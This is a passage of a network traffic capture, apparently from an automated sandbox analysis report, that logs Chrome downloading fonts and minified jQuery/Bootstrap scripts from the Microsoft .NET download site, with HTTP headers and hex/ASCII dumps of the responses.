2024-11-23 20:11:31 UTC	16384	IN	Data Raw: 45 4f 4a 55 4d 50 3d 32 34 34 5d 3d 22 56 49 44 45 4f 4a 55 4d 50 22 2c 6f 5b 6f 2e 56 49 44 45 4f 43 4f 4d 50 4c 45 54 45 3d 32 34 35 5d 3d 22 56 49 44 45 4f 43 4f 4d 50 4c 45 54 45 22 2c 6f 5b 6f 2e 56 49 44 45 4f 42 55 46 46 45 52 49 4e 47 3d 32 34 36 5d 3d 22 56 49 44 45 4f 42 55 46 46 45 52 49 4e 47 22 2c 6f 5b 6f 2e 56 49 44 45 4f 45 52 52 4f 52 3d 32 34 37 5d 3d 22 56 49 44 45 4f 45 52 52 4f 52 22 2c 6f 5b 6f 2e 56 49 44 45 4f 4d 55 54 45 3d 32 34 38 5d 3d 22 56 49 44 45 4f 4d 55 54 45 22 2c 6f 5b 6f 2e 56 49 44 45 4f 55 4e 4d 55 54 45 3d 32 34 39 5d 3d 22 56 49 44 45 4f 55 4e 4d 55 54 45 22 2c 6f 5b 6f 2e 56 49 44 45 4f 46 55 4c 4c 53 43 52 45 45 4e 3d 32 35 30 5d 3d 22 56 49 44 45 4f 46 55 4c 4c 53 43 52 45 45 4e 22 2c 6f 5b 6f 2e 56 49 44 45 4f Data Ascii: EOJUMP=244]="VIDEOJUMP",o[o.VIDEOCOMPLETE=245]="VIDEOCOMPLETE",o[o.VIDEOBUFFERING=246]="VIDEOBUFFERING",o[o.VIDEOERROR=247]="VIDEOERROR",o[o.VIDEOMUTE=248]="VIDEOMUTE",o[o.VIDEOUNMUTE=249]="VIDEOUNMUTE",o[o.VIDEOFULLSCREEN=250]="VIDEOFULLSCREEN",o[o.VIDEO
2024-11-23 20:11:31 UTC	11390	IN	Data Raw: 4e 61 6d 65 73 2e 70 61 72 65 6e 74 4e 61 6d 65 29 7d 29 2e 69 64 26 26 74 2e 61 4e 26 26 74 2e 73 4e 26 26 74 2e 63 4e 7c 7c 6d 65 28 74 68 69 73 2e 5f 74 72 61 63 65 4c 6f 67 67 65 72 2c 32 2c 35 31 35 2c 22 49 6e 76 61 6c 69 64 20 63 6f 6e 74 65 6e 74 20 62 6c 6f 62 2e 20 20 4d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 61 74 74 72 69 62 75 74 65 73 20 28 69 64 2c 20 61 4e 2f 61 72 65 61 2c 20 73 4e 2f 73 6c 6f 74 29 2c 20 63 4e 2f 63 6f 6e 74 65 6e 74 4e 61 6d 65 2e 20 20 43 6f 6e 74 65 6e 74 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 77 69 6c 6c 20 73 74 69 6c 6c 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 21 22 29 2c 74 68 69 73 2e 5f 63 6f 6e 74 65 6e 74 42 6c 6f 62 46 69 65 6c 64 4e 61 6d 65 73 2e 69 73 53 68 6f 72 74 4e 61 6d 65 73 7c 7c 28 74 3d 7b Data Ascii: Names.parentName)}).id&&t.aN&&t.sN&&t.cN\|\|me(this._traceLogger,2,515,"Invalid content blob. Missing required attributes (id, aN/area, sN/slot), cN/contentName. Content information will still be collected!"),this._contentBlobFieldNames.isShortNames\|\|(t={

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49769	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:32 UTC	681	OUT	GET /static/fonts/open-sans-v34-latin-600.woff2 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://dotnet.microsoft.com/static/css/bootstrap-custom.min.css?v=1bpqJkhBrO8vf5QShbYWqAyD97CGYCmfS57-s3YdDzw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	751	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: font/woff2 Content-Length: 16756 Connection: close Cache-Control: public, max-age=31536000 ETag: "1db3d2b5797ce74" Last-Modified: Fri, 22 Nov 2024 22:10:30 GMT Set-Cookie: TiPMix=7.220526844886377; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201132Z-178bfbc474bscnbchC1NYCe7eg0000000560000000001vgm X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	15633	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 41 74 00 12 00 00 00 00 7b 98 00 00 41 0b 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 62 1b 20 1c 84 50 06 60 3f 53 54 41 54 5a 00 82 0c 08 81 7c 09 9f 14 11 10 0a 81 b1 74 81 98 6d 0b 84 1e 00 01 36 02 24 03 88 38 04 20 05 85 26 07 20 0c 85 1f 1b bb 6b 07 f0 9c 09 fd 6e 07 e4 c6 5a e7 ee 91 08 61 e3 20 44 00 7f 6f a2 08 36 0e 10 bc e9 d0 e8 ff ff 8c 04 ef 33 c6 da be f6 06 20 58 76 5d 0d 1e 44 14 85 34 14 a5 37 1f 36 33 10 9a 28 20 0c 71 61 33 6d 0d db b1 fb 5d 0e 31 8a f0 d9 71 d4 8b 6e 9c 30 8a f9 0c 6b 4d b3 51 21 2a 44 01 50 81 00 0c 00 9a 50 c4 37 fd 11 25 14 1c a7 58 da d6 8a 7e 64 1a 07 ff f4 76 5e 6f 6e bf 96 a5 9e 6c 26 88 fa 71 a6 45 1d 8a 7e c2 62 61 31 70 6a d0 75 79 a0 fe bd ce ba Data Ascii: wOF2At{Ab P`?STATZ\|tm6$8 & knZa Do63 Xv]D4763( qa3m]1qn0kMQ!*DPP7%X~dv^onl&qE~ba1pjuy
2024-11-23 20:11:33 UTC	1123	IN	Data Raw: 6c 16 49 3f 73 b2 b2 49 78 e7 e8 7a 64 c3 53 91 8a b1 a8 59 d9 ea 3a 5a a0 f7 65 e8 dd 7c c6 03 49 6a 3c 90 39 ac 71 77 45 89 a8 2d b4 fa a3 03 f5 0f 50 a8 30 85 f8 0d 27 8e 02 a2 99 47 74 69 4e 10 26 56 b6 ae 6a 1e 19 35 7f a2 5c 48 f5 58 68 1b 95 e6 9f a2 41 08 b5 2c 1b 83 04 95 8c dd 5c d2 88 d3 44 c5 c9 27 7a 63 13 91 7d 04 f2 e9 7a cd 97 52 c9 d1 99 41 9a fd e1 69 c4 e0 e6 b5 17 0a d0 f2 f0 2a c6 f4 12 42 f8 5d 3e c9 61 52 d1 eb 31 ab 59 56 5a d6 13 29 7a 08 72 22 13 92 cd d9 50 01 a4 d5 89 e5 b5 49 45 c4 27 4e 95 26 58 02 d6 43 ee 6c 05 f2 5f 99 28 dc 1d 61 4b d2 a2 97 aa d6 24 ed 78 59 76 17 d6 d2 fc d1 77 3f 2c e9 e0 56 69 82 36 21 87 ad 8a e9 b6 8e 5b 76 b3 b3 bd de a9 a8 20 1c f9 28 e8 18 b8 03 a4 e6 aa 17 47 18 cb 2e 47 e4 33 b6 6e c1 53 b1 aa Data Ascii: lI?sIxzdSY:Ze\|Ij<9qwE-P0'GtiN&Vj5\HXhA,\D'zc}zRAi*B]>aR1YVZ)zr"PIE'N&XCl_(aK$xYvw?,Vi6![v (G.G3nS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49765	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:32 UTC	694	OUT	GET /static/js/theme-toggle.min.js?v=Hzeaewz3K2TLDzdc6ushOOcPalFLIXEQvl0TE_N65-U HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	756	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: text/javascript Content-Length: 3187 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d598873" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=0.5844841420758473; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201132Z-174c587ffdfx984chC1TEB676g00000003a000000000nmwg X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	3187	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 74 68 65 6d 65 2d 74 6f 67 67 6c 65 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 65 5b 6e 5d 3d 72 5b 6e 5d 7d 72 65 74 75 72 6e 20 65 7d 76 61 72 20 74 2c 72 2c 6e 2c 6f 2c 63 2c 61 2c 69 2c 6d 2c 64 2c 73 2c 75 3d 66 75 6e 63 74 69 6f 6e 20 74 28 72 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 6f 2c 63 29 Data Ascii: /! For license information please see theme-toggle.min.js.LICENSE.txt /(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)e[n]=r[n]}return e}var t,r,n,o,c,a,i,m,d,s,u=function t(r,n){function o(t,o,c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49770	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:32 UTC	689	OUT	GET /static/js/general.min.js?v=F8IRjdt-e6ILrPwh-6HqZfXtNkuyXy4by_5lrJWUX_Y HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:33 UTC	758	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:33 GMT Content-Type: text/javascript Content-Length: 173512 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5b21c8" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=53.447849644047295; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201133Z-178bfbc474brk967hC1NYCfu6000000004pg00000000g2t0 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:33 UTC	15626	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 67 65 6e 65 72 61 6c 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 34 31 33 34 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 69 3d 6e 28 34 36 39 32 29 2c 72 3d 6e 28 34 35 35 32 29 3b 76 6f 69 64 20 30 3d 3d 3d 72 2e 24 26 26 28 72 2e 24 3d 69 29 2c 76 6f 69 64 20 30 3d 3d 3d 72 2e 6a 51 75 65 72 79 26 26 28 72 2e 6a 51 75 65 72 79 3d 69 29 2c 65 2e 65 78 70 6f 72 74 73 3d 69 7d 2c 35 31 33 34 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 69 3d 6e 28 32 37 35 34 29 2c 72 3d 6e 28 34 35 35 32 29 3b 76 6f 69 64 20 30 3d 3d 3d 72 2e 62 6f 6f 74 73 74 72 61 70 26 26 28 72 2e 62 6f 6f Data Ascii: /! For license information please see general.min.js.LICENSE.txt /(()=>{var e={4134:(e,t,n)=>{var i=n(4692),r=n(4552);void 0===r.$&&(r.$=i),void 0===r.jQuery&&(r.jQuery=i),e.exports=i},5134:(e,t,n)=>{var i=n(2754),r=n(4552);void 0===r.bootstrap&&(r.boo
2024-11-23 20:11:33 UTC	758	IN	Data Raw: 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 7c 7c 70 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 29 3b 65 2e 69 6e 73 74 61 6e 63 65 2e 72 65 66 65 72 65 6e 63 65 3d 3d 3d 6e 26 26 28 6e 3d 70 28 6e 29 29 3b 76 61 72 20 69 3d 46 28 22 74 72 61 6e 73 66 6f 72 6d 22 29 2c 72 3d 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2c 6f 3d 72 2e 74 6f 70 2c 61 3d 72 2e 6c 65 66 74 2c 73 3d 72 5b 69 5d 3b 72 2e 74 6f 70 3d 22 22 2c 72 2e 6c 65 66 74 3d 22 22 2c 72 5b 69 5d 3d 22 22 3b 76 61 72 20 6c 3d 41 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2c 65 2e 69 6e 73 74 61 6e 63 65 2e 72 65 66 65 72 65 6e 63 65 2c 74 2e 70 61 64 64 69 6e 67 2c 6e Data Ascii: n:function(e,t){var n=t.boundariesElement\|\|p(e.instance.popper);e.instance.reference===n&&(n=p(n));var i=F("transform"),r=e.instance.popper.style,o=r.top,a=r.left,s=r[i];r.top="",r.left="",r[i]="";var l=A(e.instance.popper,e.instance.reference,t.padding,n
2024-11-23 20:11:33 UTC	16384	IN	Data Raw: 7d 2c 70 72 69 6f 72 69 74 79 3a 5b 22 6c 65 66 74 22 2c 22 72 69 67 68 74 22 2c 22 74 6f 70 22 2c 22 62 6f 74 74 6f 6d 22 5d 2c 70 61 64 64 69 6e 67 3a 35 2c 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 3a 22 73 63 72 6f 6c 6c 50 61 72 65 6e 74 22 7d 2c 6b 65 65 70 54 6f 67 65 74 68 65 72 3a 7b 6f 72 64 65 72 3a 34 30 30 2c 65 6e 61 62 6c 65 64 3a 21 30 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 66 66 73 65 74 73 2c 6e 3d 74 2e 70 6f 70 70 65 72 2c 69 3d 74 2e 72 65 66 65 72 65 6e 63 65 2c 72 3d 65 2e 70 6c 61 63 65 6d 65 6e 74 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 2c 6f 3d 4d 61 74 68 2e 66 6c 6f 6f 72 2c 61 3d 2d 31 21 3d 3d 5b 22 74 6f 70 22 2c 22 62 6f 74 74 6f 6d 22 5d 2e 69 6e 64 65 78 4f 66 28 72 29 2c 73 Data Ascii: },priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,n=t.popper,i=t.reference,r=e.placement.split("-")[0],o=Math.floor,a=-1!==["top","bottom"].indexOf(r),s
2024-11-23 20:11:33 UTC	12288	IN	Data Raw: 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 74 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 50 65 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3b 69 66 28 21 28 65 3e 74 68 69 73 2e 5f 69 74 65 Data Ascii: terval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},t.to=function(e){var t=this;this._activeElement=this._element.querySelector(Pe);var n=this._getItemIndex(this._activeElement);if(!(e>this._ite
2024-11-23 20:11:33 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 65 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 74 29 2c 74 68 69 73 2e 5f 6d 65 6e 75 3d 74 68 69 73 2e 5f 67 65 74 4d 65 6e 75 45 6c 65 6d 65 6e 74 28 29 2c 74 68 69 73 2e 5f 69 6e 4e 61 76 62 61 72 3d 74 68 69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 65 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 26 26 21 72 2e 64 65 66 61 Data Ascii: ction e(e,t){this._element=e,this._popper=null,this._config=this._getConfig(t),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var t=e.prototype;return t.toggle=function(){if(!this._element.disabled&&!r.defa
2024-11-23 20:11:34 UTC	16384	IN	Data Raw: 2e 69 6e 64 65 78 4f 66 28 6e 29 29 72 65 74 75 72 6e 2d 31 3d 3d 3d 52 6e 2e 69 6e 64 65 78 4f 66 28 6e 29 7c 7c 42 6f 6f 6c 65 61 6e 28 4d 6e 2e 74 65 73 74 28 65 2e 6e 6f 64 65 56 61 6c 75 65 29 7c 7c 42 6e 2e 74 65 73 74 28 65 2e 6e 6f 64 65 56 61 6c 75 65 29 29 3b 66 6f 72 28 76 61 72 20 69 3d 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 7d 29 29 2c 72 3d 30 2c 6f 3d 69 2e 6c 65 6e 67 74 68 3b 72 3c 6f 3b 72 2b 2b 29 69 66 28 69 5b 72 5d 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 55 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 3b 69 66 Data Ascii: .indexOf(n))return-1===Rn.indexOf(n)\|\|Boolean(Mn.test(e.nodeValue)\|\|Bn.test(e.nodeValue));for(var i=t.filter((function(e){return e instanceof RegExp})),r=0,o=i.length;r<o;r++)if(i[r].test(n))return!0;return!1}function Un(e,t,n){if(0===e.length)return e;if
2024-11-23 20:11:34 UTC	4096	IN	Data Raw: 72 6f 6c 6c 48 65 69 67 68 74 29 7d 2c 74 2e 5f 67 65 74 4f 66 66 73 65 74 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 3d 3d 3d 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 3a 74 68 69 73 2e 5f 73 63 72 6f 6c 6c 45 6c 65 6d 65 6e 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 68 65 69 67 68 74 7d 2c 74 2e 5f 70 72 6f 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 54 6f 70 28 29 2b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6f 66 66 73 65 74 2c 74 3d 74 68 69 73 2e 5f 67 65 74 53 63 72 6f 6c 6c 48 65 69 67 68 74 28 29 2c 6e 3d 74 68 69 73 2e 5f 63 6f Data Ascii: rollHeight)},t._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},t._process=function(){var e=this._getScrollTop()+this._config.offset,t=this._getScrollHeight(),n=this._co
2024-11-23 20:11:34 UTC	16384	IN	Data Raw: 26 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 31 29 7d 72 2e 64 65 66 61 75 6c 74 28 65 29 2e 61 64 64 43 6c 61 73 73 28 6f 72 29 2c 22 74 61 62 22 3d 3d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 29 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 30 29 2c 79 2e 72 65 66 6c 6f 77 28 65 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 73 72 29 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 6c 72 29 3b 76 61 72 20 6f 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 6f 26 26 22 4c 49 22 3d 3d 3d 6f 2e 6e 6f 64 65 4e 61 6d 65 26 26 28 6f 3d 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 6f 26 26 72 2e 64 65 Data Ascii: &t.setAttribute("aria-selected",!1)}r.default(e).addClass(or),"tab"===e.getAttribute("role")&&e.setAttribute("aria-selected",!0),y.reflow(e),e.classList.contains(sr)&&e.classList.add(lr);var o=e.parentNode;if(o&&"LI"===o.nodeName&&(o=o.parentNode),o&&r.de
2024-11-23 20:11:34 UTC	16384	IN	Data Raw: 65 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3d 21 65 5b 36 5d 26 26 65 5b 32 5d 3b 72 65 74 75 72 6e 20 51 2e 43 48 49 4c 44 2e 74 65 73 74 28 65 5b 30 5d 29 3f 6e 75 6c 6c 3a 28 65 5b 33 5d 3f 65 5b 32 5d 3d 65 5b 34 5d 7c 7c 65 5b 35 5d 7c 7c 22 22 3a 6e 26 26 57 2e 74 65 73 74 28 6e 29 26 26 28 74 3d 63 65 28 6e 2c 21 30 29 29 26 26 28 74 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 29 22 2c 6e 2e 6c 65 6e 67 74 68 2d 74 29 2d 6e 2e 6c 65 6e 67 74 68 29 26 26 28 65 5b 30 5d 3d 65 5b 30 5d 2e 73 6c 69 63 65 28 30 2c 74 29 2c 65 5b 32 5d 3d 6e 2e 73 6c 69 63 65 28 30 2c 74 29 29 2c 65 2e 73 6c 69 63 65 28 30 2c 33 29 29 7d 7d 2c 66 69 6c 74 65 72 3a 7b 54 41 47 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 Data Ascii: e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]\|\|e[5]\|\|"":n&&W.test(n)&&(t=ce(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e
2024-11-23 20:11:34 UTC	16384	IN	Data Raw: 61 64 79 29 7c 7c 28 43 2e 69 73 52 65 61 64 79 3d 21 30 2c 21 30 21 3d 3d 65 26 26 2d 2d 43 2e 72 65 61 64 79 57 61 69 74 3e 30 7c 7c 4a 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 5f 2c 5b 43 5d 29 29 7d 7d 29 2c 43 2e 72 65 61 64 79 2e 74 68 65 6e 3d 4a 2e 74 68 65 6e 2c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 5f 2e 72 65 61 64 79 53 74 61 74 65 7c 7c 22 6c 6f 61 64 69 6e 67 22 21 3d 3d 5f 2e 72 65 61 64 79 53 74 61 74 65 26 26 21 5f 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 64 6f 53 63 72 6f 6c 6c 3f 69 2e 73 65 74 54 69 6d 65 6f 75 74 28 43 2e 72 65 61 64 79 29 3a 28 5f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 5a 29 2c 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 Data Ascii: ady)\|\|(C.isReady=!0,!0!==e&&--C.readyWait>0\|\|J.resolveWith(_,[C]))}}),C.ready.then=J.then,"complete"===_.readyState\|\|"loading"!==_.readyState&&!_.documentElement.doScroll?i.setTimeout(C.ready):(_.addEventListener("DOMContentLoaded",Z),i.addEventListener("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49768	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:32 UTC	693	OUT	GET /static/js/cda-tracker.min.js?v=SyYaSyIMxBKYbravFr4rQISs39K6Wu_jyNMP-TEkBgE HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
